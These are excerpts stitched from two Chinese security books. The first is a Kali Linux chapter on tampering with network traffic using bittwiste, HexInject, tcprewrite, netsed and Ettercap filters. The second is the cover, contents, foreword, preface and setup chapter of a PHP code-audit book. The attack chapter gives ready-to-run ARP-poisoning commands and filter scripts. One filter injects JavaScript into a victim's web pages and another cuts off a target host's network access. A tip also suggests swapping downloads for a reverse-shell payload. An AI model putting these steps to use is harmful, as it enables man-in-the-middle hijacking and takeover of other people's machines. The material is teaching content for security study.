    {"text": "未知 11.1.2 使用bittwiste工具 bittwiste工具是数据包重放工具集bittwist的一个工具。该工具可以编辑修改PCAP抓包文件。该工具提供数据包过滤功能，如根据范围和时间过滤。同时，该工具支持数据包的截断，并添加数据载荷。对于ETH、ARP、IP、ICMP、TCP和UDP类型的数据包，攻击者还可以修改其对应的包头。下面介绍如何使用bittwiste工具修改数据包。 Kali Linux默认没有安装bittwist工具集。在使用该工具集之前应先安装。执行命令： root@daxueba:~# apt-get install bittwist 执行以上命令后，如果没有报错，则说明安装成功。其中，bittwiste工具的语法格式如下： bittwiste [options] 该工具支持的选项及含义如下： ·-I：指定要修改的PCAP抓包文件。 ·-O：指定保存的抓包文件。 ·-R：只保存指定范围的数据包。 ·-S：保存指定时间内的数据包。时间格式为DD/MM/YYYY,HH:MM:SS，其中，DD表示天，MM表示月份，YYYY表示年份，HH表示小时，MM表示分钟数，SS表示秒。 ·-L：复制数据包指定层的数据，丢弃剩下层的数据。指定的层数为2、3或4。 ·-D：删除每个包指定偏移位置后的数据。 ·-X：为每个数据包添加数据载荷。 ·-T：修改指定类型包的头。可用的类型有ETH、IP、TCP、ARP、ICMP和UDP。其中，不同类型的数据包可用的选项及含义如表11-1所示。 表11-1 数据包的类型及选项含义 【实例11-2】 使用bittwiste工具修改捕获文件test.pcap中所有数据包的源IP地址。具体操作步骤如下： （1）打开test.pcap捕获文件，查看原始数据包的源IP地址和目标IP地址，如图11.5所示。 （2）修改源IP地址192.168.0.101为192.168.1.100，并将修改后的数据包保存到new.pcap捕获文件。执行命令： root@daxueba:~# bittwiste -I /test.pcap -O new.pcap -T ip -s 192.168.0.101, 192.168.1.100 -d 192.168.0.101,192.168.1.100 input file: /test.pcap output file: new.pcap 10 packets (1477 bytes) written 图11.5 test.pcap捕获文件 看到以上输出信息，就表明已成功修改了源数据包中的数据，而且修改后的数据包写入到了new.pcap捕获文件。 （3）打开new.pcap捕获文件，将发现数据包中的所有源IP地址（192.168.0.101）都被成功修改为192.168.1.100，如图11.6所示。 图11.6 new.pcap捕获文件 未知 11.1.3 使用HexInject工具 HexInject工具是一个十六进制包嗅探/注入工具。攻击者使用该工具，可以实施网络实时嗅探、文件嗅探和USB嗅探及注入。当用户实施注入时，可以修改数据。HexInject工具的语法格式如下： hexinject <mode> <options> 其中，<mode>用来指定HexInject工具的运行模式。该工具支持的运行模式及选项如下： ·-s：使用嗅探模式。 ·-p：使用注入模式。 ·-r：使用原始模式，即不显示十六进制数据，显示文本信息。 <options>用来指定一些选项，以发挥不同的作用。该工具支持的选项及含义如下： ·-f<filter>：设置过滤器。 ·-i<device>：指定使用的网络接口。 ·-F<file>：使用捕获文件作为设备（仅用于嗅探模式）。 ·-c<count>：设置捕获包的数量。 ·-t<time>：设置休眠时间，默认是100微妙。 ·-I：列出所有可用的网络接口。 ·-C：禁止包的自动校验。 ·-S：禁止自动计算包的大小。 ·-P：禁止混杂模式。 ·-h：显示帮助信息。 ·-M：设置无线网卡为监听模式。 【实例11-3】 使用HexInject工具修改ARP数据包。例如，修改ARP广播请求包为ARP应答包。执行命令： root@daxueba:~# hexinject -s -i eth0 -c 1 -f 'arp' | replace '06 04 00 01' '06 04 00 02'| hexinject -p -i eth0 执行以上命令后，将不会输出任何信息。攻击者可以使用Wireshark工具来捕获数据包，以验证注入的数据包，如图11.7所示。 图11.7 捕获的数据包 从图11.7中可以看到，第6帧的目标地址为Broadcast，即广播地址。对于ARP数据包，只有请求获取目标主机的MAC地址时，才会进行广播。但是，该数据包是一个ARP应答包。由此可知，已成功修改了数据包，并向整个局域网广播了主机192.168.198.1的MAC地址（攻击者的MAC地址）。 未知 11.2 修改传输层的数据流 传输层是TCP/IP参考模型中的第三层，主要负责向两个主机中进程之间的通信提供服务。在传输层中，主要使用的协议是TCP和UDP。其中，一些特定的服务都有固定端口，如Web服务的TCP端口为80，SSH服务的TCP端口为22等。攻击者可以通过修改端口号，将源数据包发送到一个伪服务器。本节将介绍修改传输层数据流的方法。"},
    {"text": "未知 11.2.1 使用tcprewrite工具 tcprewrite工具是TCP数据流重放工具集Tcpreplay中的一个重写数据包工具。 tcprewrite工具可以修改PCAP包里的所有报文头部，如MAC地址、IP地址和端口等。 下面将介绍如何使用tcprewrite工具修改数据流。 tcprewrite工具的语法格式如下： tcprewrite [-flags] [-flag [value]] [--option-name[[=| ]value]] 该工具支持的选项及含义如下： ·-r string,--portmap=string：指定重写TCP/UDP端口。"},
    {"text": "用户在指定端口时有三种方式：一是端口对之间使用冒号（:）分隔，如“--portmap=80:8000”表示端口80改为8000，而“--portmap=8080:80”表示端口8080改为80； 二是不同端口之间使用逗号（,）分隔，如“--portmap=8000,8080,88888:80”表示3个端口都改为80； 三是端口范围之间使用连字符（-）分隔，如“--portmap=8000-8999:80”表示端口8000到8999变为80。"},
    {"text": "该选项的使用格式如--pnat=192.168.0.0/16:10.77.0.0/16,172.16.0.0/12:10.1.0.0/24（IPv4地址）和--pnat=[2001:db8::/32]:[dead::/16],[2001:db8::/32]:[::ffff:0:0/96]（IPv6地址）。"},
    {"text": "其中，该选项的使用格式如--endpoints=172.16.0.1:172.16.0.2（IPv4地址）和--endpoints=[2001:db8::dead:beef]:[::ffff:0:0:ac:f:0:2]（IPv6地址）。"},
    {"text": "【实例11-4】 修改捕获文件test.pcap中的端口80为8080，并将修改后的数据包文件保存为tcp.pcap。 具体操作步骤如下： （1）打开test.pcap捕获文件，如图11.8所示。"},
    {"text": "未知 11.2.2 使用netsed工具 netsed工具是一款简易的数据修改工具。该工具支持对TCP和UDP数据进行修改。攻击者通过指定IP地址和端口号的方式，确定要修改的网络数据，然后再指定修改规则，就可以实现网络修改的功能。在修改规则时，攻击者不仅可以指定替换内容，还可以指定修改次数和数据流向。下面介绍使用netsed工具修改数据的方法。 netsed工具的语法格式如下： netsed [option] proto lport rhost rport rule1 [ rule2 ... ] 其中，该工具支持的选项及参数含义如下： ·-4,--ipv4：使用IPv4地址。 ·-6,--ipv6：使用IPv6地址。 ·--ipany：自动判断IPv4或者IPv6。 ·-h,--help：显示帮助信息。 ·proto：指定要修改的协议。其中，可指定的协议值为tcp或udp（不区分大小写）。 ·lport：指定本地要监听的端口号，可以是服务名或端口号。 ·rhost：指定远程主机。 ·rport：指定远程端口，可以是服务名或端口号。 ·ruleN：指定修改规则。其中，规则的语法格式如下： s/pat1/pat2[/flag/expire/iI/oO] ·pat1/pat2：表示将pat1替换为pat2。 ·flag：表示修改的数量。 ·i和I：表示进站数据。 ·o和O：表示出站数据。 【实例11-5】 使用netsed工具修改TCP数据流。例如，将传输数据中的baidu替换为test，并且将修改后的数据发送到主机61.135.169.121的80端口。执行命令： root@daxueba:~# netsed --ipany tcp 443 61.135.169.121 80 s/baidu/test netsed 1.2 by Julien VdG <julien@silicone.homelinux.org> based on 0.01c from Michal Zalewski <lcamtuf@ids.pl> [*] Parsing rule s/baidu/test... #解析规则 [+] Loaded 1 rule... #加载规则 [+] Using fixed forwarding to 61.135.169.121,443. #固定转发 [+] Listening on port 80/tcp. #监听端口 从输出的信息中可以看到，已成功解析并加载了一条规则，而且正在监听TCP的80端口。此时，攻击主机监听到的80端口数据包将会应用规则s/baidu/test，然后将修改后的数据发送到主机61.135.169.121的443端口。 未知 11.3 修改应用层的数据流 应用层是TCP/IP参考模型的最高层。它是计算机用户以及各种应用程序和网络之间的接口，其功能是直接向用户提供服务，完成用户希望在网络上完成的各种工作。其中，应用层为用户提供的服务和协议有FTP、Telnet、HTTP和SSH等。本节将使用Etterfilter工具对数据包进行修改，以实现对目标主机的攻击。 未知 11.3.1 Etterfilter工具语法 Etterfilter工具是Ettercap提供的过滤器，它可以对截获的数据包进行修改，然后转发给目标主机。例如，攻击者可以替换网页内容，替换下载内容，在目标用户访问的网页中插入代码等。下面介绍使用Etterfilter工具进行数据篡改。 Etterfilter工具的语法格式如下： etterfilter [选项] 文件 该工具可用的选项及含义如下： ·-o,--output<FILE>：指定编译后生成的过滤器文件。默认输出的是filter.ef。 ·-t,--test<FILE>：使用该选项可以分析一个编译后的过滤器文件。所有包括在文件中的指令，etterfilter将会以人类可读格式显示。 ·-d,--debug：在编译时候显示调试信息。使用多个-d可以增加调试级别（如etterfilter-ddd…）。 ·-w,--suppress-warnings：当出现警告信息时，不退出编译。使用该选项的编译器，即使包含警告信息也将编译该脚本。 ·-v,--version：显示版本并退出。 ·-h,--help：显示帮助信息。 编译过滤规则的命令如下： etterfileter filter.ecf -o filter.ef 以上命令表示把filter.ecf文件编译成ettercap能识别的filter.ef文件。过滤规则的语法与C语言类似，但只有if语句，不支持循环语句。需要注意的是，if与单引号（'）之间必须要有一个空格，且大括号{}不能省略。 Ettercap工具提供的一些常用函数如下： ·search(where,what)：从字符串where中查找what，若找到，则返回true。 ·regex(where,regex)：从字符串where中匹配正则表达式regex的内容，若找到，则返回true。 ·replace(where,with）：把字符串what替换成字符串with。 ·log(what,where)：把字符串what记录到where文件中。 ·msg(message）：在屏幕上显示出字符串message。 ·exit()：退出。 提示： 在Ettercap工具的/usr/share/ettercap目录下，默认有一些供参考的过滤规则脚本模板。如果攻击者不会编写，可以参考其模板脚本文件。"},
    {"text": "未知 11.3.2 使网页弹出对话框 这里将利用Etterfilter工具，实现当目标用户访问网页时弹出一个对话框。其中，对话框的内容为js inject。下面介绍具体的实现方法。 【实例11-6】 利用Etterfilter工具，向网页头部注入一个对话框。具体操作步骤如下： （1）创建过滤规则脚本。这里将创建一个名为etter.alter的脚本。内容如下： root@daxueba:~# vi alert.filter if (ip.proto == TCP && tcp.dst == 80) { if (search(DATA.data, \"Accept-Encoding\")) { replace(\"Accept-Encoding\", \"Accept-Rubbish!\"); # note: replacement string is same length as original string #msg(\"zapped Accept-Encoding!\\n\"); } } if (ip.proto == TCP && tcp.src == 80) { replace(\"<head>\", \"<head><script type=\"text/javascript\">alert('js inject'); </script>\"); replace(\"<HEAD>\", \"<HEAD><script type=\"text/javascript\">alert('js inject'); </script>\"); msg(\"注入成功!!\\n\"); } 这个脚本可以替换HTML代码中的<head>，在后面加入<script type=\"text/javascript\">alert('js inject');</script>。 （2）使用Etterfilter工具把这个脚本编译成Ettercap可以识别的二进制文件。执行命令： root@daxueba:~# etterfilter alert.filter -o alert.ef etterfilter 0.8.2 copyright 2001-2015 Ettercap Development Team 14 protocol tables loaded: DECODED DATA udp tcp esp gre icmp ipv6 ip arp wifi fddi tr eth 13 constants loaded: VRRP OSPF GRE UDP TCP ESP ICMP6 ICMP PPTP PPPOE IP6 IP ARP Parsing source file 'alert.filter' done. Unfolding the meta-tree done. Converting labels to real offsets done. Writing output to 'alert.ef' done. -> Script encoded into 15 instructions. 以上输出信息表示脚本文件编译成功。编译后的内容写入到alert.ef文件。 （3）实施ARP攻击。执行命令： root@daxueba:~# ettercap -Tq -F alert.ef -M arp:remote /192.168.0.114/// （4）此时，当目标用户在目标主机上访问任何网站时，都会在每个网页上弹出一个对话框，如图11.10所示。 图11.10 弹出对话框 （5）在Ettercap的交互模式下，可以看到提示注入成功的消息，如下： Randomizing 255 hosts for scanning... Scanning the whole netmask for 255 hosts... * |==================================================>| 100.00 % Scanning for merged targets (1 hosts)... * |==================================================>| 100.00 % 9 hosts added to the hosts list... ARP poisoning victims: GROUP 1 : 192.168.0.114 00:0C:29:21:8C:96 GROUP 2 : ANY (all the hosts in the list) Starting Unified sniffing... Text only Interface activated... Hit 'h' for inline help 注入成功!! 注入成功!! 注入成功!! 注入成功!! 注入成功!! 注入成功!! 注入成功!! 未知 11.3.3 将目标主机“杀死” 如果攻击者想要阻止某个网段内的某个主机访问网络的话，可以通过篡改数据，将该主机的连接“杀死”。下面介绍具体的实现方法。 【实例11-7】 阻止192.168.0.1/24网段内IP地址为192.168.0.114的主机访问网络。具体操作步骤如下： （1）创建一个名为filter.kill的过滤脚本规则文件。其内容如下： root@daxueba:~# vi filter.kill if (ip.src == '192.168.0.114') { # sent the RST to both source and dest kill(); # don't even forward the packet drop(); } if (ip.src == '192.168.0.1') { kill(); drop(); } （2）使用Etterfilter工具对脚本文件进行编译。执行命令： root@daxueba:~# etterfilter filter.kill -o filter.kill.ef etterfilter 0.8.2 copyright 2001-2015 Ettercap Development Team 14 protocol tables loaded: DECODED DATA udp tcp esp gre icmp ipv6 ip arp wifi fddi tr eth 13 constants loaded: VRRP OSPF GRE UDP TCP ESP ICMP6 ICMP PPTP PPPOE IP6 IP ARP Parsing source file 'filter.kill' done. Unfolding the meta-tree done. Converting labels to real offsets done. Writing output to 'filter.kill.ef' done. -> Script encoded into 9 instructions. （3）实施ARP攻击。执行命令： root@daxueba:~# ettercap -Tq -F filter.kill.ef -M arp:remote /192.168.0.114// （4）当目标主机192.168.0.114访问网站时，将无法访问。例如，访问百度站点，其结果如图11.11所示。由此可知，已成功篡改了目标主机的数据。 图11.11 无法访问网络 提示： 攻击者也可以自己修改脚本，对目标主机进行替换图片、挂载木马等攻击。例如，结合Metasploit工具生成一个反向链接的Payload，进而使用过滤脚本替换网页下载文件，并获取目标主机的控制权。 Cover"},
    {"text": "Cover 信息安全技术丛书 代码审计：企业级Web代码安全架构 尹毅 著 ISBN：978-7-111-52006-1 本书纸版由机械工业出版社于2015年出版，电子版由华章分社（北京华章图文信息有限公司，北京奥维博世图书发行有限公司）全球范围内制作与发行。 版权所有，侵权必究 客服热线：+ 86-10-68995265 客服信箱：service@bbbvip.com 官方网址：www.hzmedia.com.cn 新浪微博 @华章数媒 微信公众号 华章电子书（微信号：hzebook） 目录 序言 前言 导读 第一部分 代码审计前的准备 第1章 代码审计环境搭建 1.1 wamp/wnmp环境搭建 1.2 lamp/lnmp环境搭建 1.3 PHP核心配置详解 第2章 审计辅助与漏洞验证工具 2.1 代码编辑器 2.2 代码审计工具 2.3 漏洞验证辅助 第二部分 漏洞发现与防范 第3章 通用代码审计思路 3.1 敏感函数回溯参数过程 3.2 通读全文代码 3.3 根据功能点定向审计 第4章 漏洞挖掘与防范（基础篇） 4.1 SQL注入漏洞 4.2 XSS漏洞 4.3 CSRF漏洞 第5章 漏洞挖掘与防范（进阶篇） 5.1 文件操作漏洞 5.2 代码执行漏洞 5.3 命令执行漏洞 第6章 漏洞挖掘与防范（深入篇） 6.1 变量覆盖漏洞 6.2 逻辑处理漏洞 6.3 会话认证漏洞 第7章 二次漏洞审计 7.1 什么是二次漏洞 7.2 二次漏洞审计技巧 7.3 dedecms二次注入漏洞分析 第8章 代码审计小技巧 8.1 钻GPC等转义的空子 8.2 神奇的字符串 8.3 php：//输入输出流 8.4 PHP代码解析标签 8.5 fuzz漏洞发现 8.6 不严谨的正则表达式 8.7 十余种MySQL报错注入 8.8 Windows FindFirstFile利用 8.9 PHP可变变量 第三部分 PHP安全编程规范 第9章 参数的安全过滤 9.1 第三方过滤函数与类 9.2 内置过滤函数 第10章 使用安全的加密算法 10.1 对称加密 10.2 非对称加密 10.3 单向加密 第11章 业务功能安全设计 11.1 验证码 11.2 用户登录 11.3 用户注册 11.4 密码找回 11.5 资料查看与修改 11.6 投票/积分/抽奖 11.7 充值支付 11.8 私信及反馈 11.9 远程地址访问 11.10 文件管理 11.11 数据库管理 11.12 命令/代码执行 11.13 文件/数据库备份 11.14 API 第12章 应用安全体系建设 12.1 用户密码安全策略 12.2 前后台用户分表 12.3 后台地址隐藏 12.4 密码加密存储方式 12.5 登录限制 12.6 API站库分离 12.7 慎用第三方服务 12.8 严格的权限控制 12.9 敏感操作多因素验证 12.10 应用自身的安全中心 参考资源 序言 我第一次见到尹毅是2013年在北京中关村。那时候我正在安全宝创业，我们需要招募到最好的人才。这时候尹毅的博客吸引了我，在一个技术分享逐渐枯竭的时代，他的博客令人眼前一亮。然后我试图联系到了他，并邀请到北京来聊一聊。 让我大吃一惊的是，尹毅当时还是一个孩子模样，但是时不时能从生涩的脸庞里看到成熟。在这个年纪就出来工作，我想他一定吃过很多苦。在之后的工作中，尹毅展现出了惊人的天赋。交给他的工作总是能迅速并出色地完成，并时不时会在工作中有一些创新性成果令人惊喜。他的自驱力极强，总是不满足于简单的工作，于是我不得不想出一些更复杂和艰难的挑战交给他。 2014年9月，安全宝分拆了部分业务被阿里收购，我带着尹毅一起到了阿里。此时他已经成为一个安全团队的Leader，在中国最大的互联网公司里贡献着力量。 尹毅学东西很勤奋，他平时的业余时间就是写代码，或者看技术文章，因此进步迅速。他很快就在Web漏洞挖掘能力方面有了长足的进步，并取得了不错的成绩，他陆续发现了好些开源软件的高危漏洞。最难能可贵的是，他开始逐步总结这些经验，并且沉淀在自己开发的一个漏洞挖掘工具里。这让他学会了如何从重复的体力劳动中解放出来，把精力用在更有价值的地方。这是一个优秀黑客应具有的特质：厌倦重复性的体力劳动，而对创新充满着无限的热情和旺盛的精力。 尹毅认为，一个好的黑客，必须要懂编程。这也是他在这本书里所倡导的理念。在他看来，不懂编程、没挖过漏洞的黑客，充其量只能算“脚本小子”。所以，尹毅在本书的出发点是从代码审计开始，通过代码审计，去发现和挖掘漏洞。 漏洞挖掘是一门艺术，同时也是信息安全的核心领域。安全技术发展到今天，常见的漏洞挖掘技术有代码审计、黑盒测试、Fuzzing、逆向分析等。每一种技术都有独到之处，而其中，代码审计又是最基本、最直接的一种方式，是每一个安全专家都应该掌握的技能。 但时至今日，全自动化的代码审计仍然存在很多困难，主要难点在于理解编程语言的语法、跨文件之间的关联调用、理解开发框架、业务逻辑等地方。因为这些困难在短期内难以克服，所以通过代码审计来挖掘漏洞，仍然是一种极具技巧性和需要丰富经验的工作。在本书中，尹毅根据他自身的经验和学习成果，对这些知识技巧做了一个很好的总结。 本书虽然主要讲述的是PHP代码安全问题，但其中的很多思想和案例都非常具有代表性。同时，因为互联网上大量的Web应用都是由PHP写成的，因此研究PHP代码安全对于整个互联网Web安全的研究具有至关重要的作用。对于新人来说，非常建议从本书中讲述的内容开始学习。 吴翰清，阿里云云盾负责人，《白帽子讲Web安全》作者 2015.9.20"},
    {"text": "前言 代码审计是指对源代码进行检查，寻找代码中的bug，这是一项需要多方面技能的技术，包括对编程的掌握、漏洞形成原理的理解，系统和中间件等的熟悉。 为什么需要代码审计 代码审计是企业安全运营以及安全从业者必备的基础能力 。代码审计在很多场景中都需要用到，比如企业安全运营、渗透测试、漏洞研究等。目前已经有不少公司在推广微软的软件SDL（Security Development Lifecycle，安全开发周期），它涵盖需求分析→设计→编码→测试→发布→维护，安全贯穿整个软件开发周期，其中设计、编码和测试是整个SDL的核心，安全问题大多在这里被解决掉。其中在安全设计这块，必须要非常了解漏洞形成原理，纵观全局。而在代码实现也就是编码阶段，安全依靠于编程人员的技术基础以及前期安全设计的完善性。然后是测试，测试包括白盒测试。黑盒测试以及灰盒测试。黑盒测试也叫功能测试，是指在不接触代码的情况下，测试系统的功能是否有bug，是否满足设计需求。而白盒测试就是我们说的代码审计，以开放的形式从代码层面寻找bug，如果发现有bug则返回修复，直到没有bug才允许软件发布上线。 渗透测试人员掌握代码审计是非常重要的，因为我们在渗透过程中经常需要针对目标环境对payload进行调试。另外，如果通过扫描器扫描到Web目录下的一个源码备份包，通常攻击者都会利用源码包找一些配置文件，因为里面有数据库、API等一类配置。如果环境有限制，比如目标站数据库限制连接IP等，那么工具小子可能在源码包进行的漏洞利用也就到此为止。对于懂代码审计的人，结果完全不一样，他可以对源码包进行安全审计，发现网站代码里存在的漏洞，然后利用挖掘到的漏洞进行渗透。 编程能力要求 代码审计对编程语言的基础有一定要求，至少要能看得懂代码，这里说的看懂代码不是简单地理解几个if...else语句和for循环，而是能看懂代码的逻辑，即使有很多函数没见过，也是可以到Google去查的。都说编程在语言这块是一通百通，只要我们对编程思想理解得非常透彻，重新接触一种编程语言也是非常快就能上手的，所以不管你之前写过Java还是C#程序，想玩一玩PHP的代码审计都应该不是什么大问题。 代码审计环境准备 代码审计首先要准备的是审计环境工具，不同的环境会影响漏洞的利用，所以建议Linux和Windows系统下的PHP环境都搭建一套，并且需要多个PHP版本。关于版本切换这块，建议安装phpStudy，phpStudy是一套Apache+Nginx+LightTPD+PHP+MySQL+phpMyAdmin+Zend Optimizer+Zend Loader的集成环境，可以很方便地安装和切换环境。代码审计的工具有很多个，这里推荐使用笔者开发的Seay源代码审计系统以及RIPS，二者都是免费开源工具。 除了自动化审计工具外，还有一些像Burp Suite、浏览器扩展以及编码工具等审计辅助工具也都是必备的。 代码审计思路 通常做代码审计都是检查敏感函数的参数，然后回溯变量，判断变量是否可控并且没有经过严格的过滤，这是一个逆向追踪的过程。而代码审计并非这一种手段，还可以先找出哪些文件在接收外部传入的参数，然后跟踪变量的传递过程，观察是否有变量传入到高危函数里面，或者传递的过程中是否有代码逻辑漏洞，这是一种正向追踪的方式，这样的挖掘方式比逆向追踪挖掘得更全。还有一种方式是直接挖掘功能点漏洞，根据自身的经验判断该类应用通常在哪些功能中会出现漏洞，直接全篇阅读该功能代码。 可能不少新手对于学习PHP代码审计还有一些迷茫，或许之前尝试过学习，但一直没有很好的进展，因为代码审计是一门很专的技术活，要学好PHP代码审计，需要掌握以下几点： ·PHP编程语言的特性和基础。 ·Web前端编程基础。 ·漏洞形成原理。 ·代码审计思路。 ·不同系统、中间件之间的特性差异。"},
    {"text": "导读 本书总共分为三个部分。第一部分为代码审计前的准备，包括第1章以及第2章，第1章详细介绍我们在学习代码审计前需要了解的PHP核心配置文件以及PHP环境搭建的方法，第2章介绍学习PHP代码审计需要准备的工具，以及这些工具的详细使用方法。 第二部分包括第3~8章，着重介绍PHP代码审计中的漏洞挖掘思路与防范方法。 第3章详细介绍PHP代码审计的思路，包括根据关键字回溯参数、通读全文代码以及根据功能点定向挖掘漏洞的三个思路。 第4~6章讲述常见漏洞的审计方法，分别对应基础篇、进阶篇以及深入篇，涵盖SQL注入漏洞、XSS漏洞、文件操作漏洞、代码/命令执行漏洞、变量覆盖漏洞以及逻辑处理等漏洞。 第7章介绍二次漏洞的挖掘方法，二次漏洞在逻辑上比常规漏洞要复杂，所以我们需要单独拿出来，以实例来进行介绍。 在经过前面几章的代码审计方法学习之后，相信大家已经能够挖掘不少有意思的漏洞。第8章将会介绍代码审计中的更多小技巧，利用这些小技巧可以挖掘到更多有意思的漏洞。每类漏洞都有多个配套的真实漏洞案例分析过程，有助于读者学习代码审计的经验。不过，该章不仅介绍漏洞的挖掘方法，还详细介绍这些漏洞的修复方法，对开发者来说，这是非常有用的一部分内容。 第三部分包括第9~12章，主要介绍PHP安全编程的规范，从攻击者的角度来告诉你应该怎么写出更安全的代码，这也是本书的核心内容：让代码没有漏洞。第9章主要介绍参数的安全过滤，所有的攻击都需要有输入，所以我们要阻止攻击，第一件要做的事情就是对输入的参数进行过滤，该章详细分析discuz的过滤类，用实例说明什么样的过滤更有效果。 第10章主要介绍PHP中常用的加密算法。目前99%以上的知名网站都被拖过库，泄露了大量的用户数据，而这一章将详细说明使用什么样的加密算法能够帮助你增强数据的安全性。 第11章涉及安全编程的核心内容。所有的应用都是一个个功能堆砌起来的，该章从设计安全功能的角度出发，从攻击者的角度详细分析常见功能通常会出现的安全问题，在分析出这些安全问题的利用方式后，再给出问题的解决方案。如果你是应用架构师，这些内容能够帮助你在设计程序功能的时候避免这些安全问题。 第12章介绍应用安全体系建设的两种策略以及实现案例：横向细化和纵深策略，企业的应用安全应把这两种策略深入到体系建设中去。 以上就是本书的全部内容，看到介绍之后你是不是有点儿兴奋呢？赶紧来边读边试吧。 感言和致谢 这本书断断续续写了一年多，期间也发生了很多事情。在2014年9月的时候从创新工场旗下项目安全宝离职，加入到阿里巴巴安全部。到了一个新的环境，工作上面倒是很快就融入了进去，只是从北京到杭州，是从一个快节奏的城市转到一个慢节奏的城市，感觉整个人变懒了，没有以前在北京那样每天激情澎湃。曾经一度想过放弃，因为心里总感觉像是被捆住了一样，想去做一些事情却因为还有这本书没写完而不能去做。因为写这本书是我必须要做的事情，一是算是给我自己在安全领域的一个交代，二是我承诺过吴怡编辑，一定会努力写好这本书，在这个事情上我看得很严肃，承诺了就一定要做到。 为什么说这算是给自己在安全领域的一个交代呢？记得跟不少朋友说过，创业是我必定要做的一个事情，或许哪天转行创业了，在这个行业里留下了点东西也心安了。回想自己从最初迷恋上网络安全到现在，中间的一些转折点和小插曲还挺有意思，比如以全校第一的成绩考上重点高中之后，读了一年就退学去离家很远的软件开发培训学校，花500块钱在网吧淘了一台放酷狗都卡得不行的台式机，在重庆连续通宵读书快一年，等等，这些都已经是美好的回忆。在这些美好回忆中遇到很多美好的人，想对他们说声谢谢。 感谢父母和姐姐、姐夫，最早去重庆的时候，姐姐还怀着马上要出生的外甥女，跟姐夫开车送我去重庆。学校一个学期一两万的学费，父母预支薪水供我读书，感谢他们的付出。 感谢机械工业出版社的吴怡编辑，如果没有她的鼓励和指导，也不会有这本书的面世，真心感谢她。 感谢吴瀚清（网名：刺、道哥、大风），在安全宝的时间里，刺总给了我很多帮助，不管是工作上还是个人成长上都给予引导和包容，他是一位真正的好老板。 感谢safekey team的兄弟们，他们是晴天小铸、tenzy、x0h4ck3r、zvall、yy520以及cond0r，本书里面有多个影响非常大的0day出自他们之手，我们因为喜欢代码审计而聚集在一起。 感谢曾经陪我熬了无数个通宵的好哥们Snow、小软，我们曾经一起渗透，一起研究，一起写代码，无不分享。 感谢工作中同我一起奋斗的同事们，没有他们的辛苦战斗就没有今天我们攻城拔寨的辉煌战绩，他们包括但不限于：翁国军、李翼、全龙飞、曾欢。 感谢喜付宝的林能（ID：矢志成谜）对本书提出的建设性建议。 尹毅 微信：seayace 邮箱：root@cnseay.com 博客： www.cnseay.com 微博： http://weibo.com/seayace"},
    {"text": "第一部分 代码审计前的准备 漏洞的利用依赖PHP版本、Web中间件版本与类型、操作系统类型和版本以及这些软件的配置等多因素，所以我们在代码审计前需要做不少的准备工作，最重要的是环境搭建和代码审计辅助工具的使用，这一部分将从代码审计环境的搭建和这些工具的使用来展开介绍。 第1章主要介绍环境的搭建，包括wamp/wnmp环境以及lamp/lnmp环境。这些环境搭建是简单的。这里要重点理解的是PHP的核心配置，大多数情况下PHP的配置可以决定一个漏洞能否利用。 在代码审计过程中，需要用到很多额外的辅助工具，比如编辑器、代码审计系统以及正则表达式工具，等等。借助这些辅助工具，可以大大提高审计效率，所以第2章中将着重介绍这些辅助工具的使用。 第1章 代码审计环境搭建 在搭建PHP代码审计环境时，因为不是线上环境，为了方便配置环境，所以尽量使用最简单的搭建方法，通常代码审计师都选择安装wamp/wnmp或者lamp/lnmp等环境集成包，可以快速构建我们所需要的PHP运行环境。在选择集成包的时候必须要考虑的是集成环境版本问题，对于PHP、MySQL、Apache等服务软件版本，尽量使用目前使用最多的版本，比如PHP 5.2.X、MySQL 5.0以上，在针对特殊的漏洞测试时可能还需要安装不同的版本进行测试，还需要在不同的操作系统下测试。 1.1 wamp/wnmp环境搭建 wamp组合是使用最多的测试环境，常用的集成环境包有phpStudy、WampServer、XAMPP以AppServ。其中使用最方便且功能最强大的是phpStudy，该程序包集成最新的Apache+Nginx+Lighttpd+PHP+MySQL+phpMyAdmin+Zend Optimizer+Zend Loader，一次性安装，不需要配置就可以直接使用，是非常方便、好用的PHP调试环境。并且它支持26种环境组合随意更改，截至目前，它支持Apache、Nginx、Lighttpd、IIS6/7/8中任意一种WebServer随时在PHP 5.2、PHP 5.3、PHP 5.4、PHP 5.5、PHP 5.6中切换组合使用。我们可以在phpStudy官网 www.phpstudy.net 直接下载phpStudy安装程序。 我们通过官网链接 http://www.phpstudy.net/phpstudy/phpStudy-x64.zip 下载最新版的phpStudy。安装后，双击系统桌面上phpStudy图标即可启动服务，默认是Apache+PHP 5.3。这时候访问 http://localhost/ 即可看到phpStudy探针，如图1-1所示。 图 1-1 我们可以点击界面上的“其他选项”菜单按钮，在菜单中找到“PHP版本切换”项，更改配置和切换Web服务组合，如图1-2所示。 图 1-2 点开选项中的“PHP版本切换”我们看到26种环境组合可以供我们随意切换，如图1-3所示。 图 1-3 当我们需要Nginx环境时，只需选中Nginx+PHP*，然后点击“应用”按钮即可。 然而，在启动Web服务时偶尔也会遇到服务启动失败的情况，最常见的是WebServer服务端口被占用以及WebServer配置文件错误。对于端口占用，解决方案有两种，第一种是更换WebServer的服务端口，在配置文件中更改监听端口号即可；第二种则是结束占用端口的进程。 如果Apache的配置文件httpd.conf出错，用命令行模式启动Apache，并带上参数，Apache会提示你配置文件哪里有错误，然后就可以针对性地解决，命令是：httpd.exe-w-n\"Apache2\"-k start，其中Apache2表示服务名。 1.2 lamp/lnmp环境搭建 在不同的操作系统下，漏洞的测试结果也可能会不一样。简单举例，像文件包含截断，在Windows下与Linux下截断也有不一样的地方。为了更好地测试漏洞，我们还需要搭建Linux下的PHP环境。跟Windows一样，在Linux下也有PHP集成环境包，常用的有phpStudy for Linux、lanmp以及XAMPP。因为phpStudy支持Apache、Nginx、Lighttpd中任意一种WebServer在PHP 5.2、PHP 5.3、PHP 5.4、PHP 5.5中12种组合的简单切换，为了更方便测试环境调整，所以我们依旧选择phpStudy来搭建lanmp测试环境，phpStudy支持CentOS、Ubuntu、Debian等Linux系统。 我们通过官网http://lamp.phpstudy.net/下载最新版的phpStudy到虚拟机并进行安装。安装过程很简单，如果你选择的是下载版，只需要执行如下命令： wget -c http ： //lamp.phpstudy.net/phpstudy.bin ？ chmod +x phpstudy.bin # 权限设置 ./phpstudy.bin # 运行安装 按提示安装自己所需要的环境组合，如图1-4所示。 图 1-4 访问 http://localhost （如图1-5所示），说明安装成功。 图 1-5 假如你先安装了Apache+PHP 5.3，想切换成Nginx+PHP 5.4，只需再运行一次./phpstudy.bin，你会发现有一行是否安装MySQL提示，选择“不安装”，这样只需要编译Nginx+PHP 5.4，从而节省时间，这样只需要几分钟即可。"},
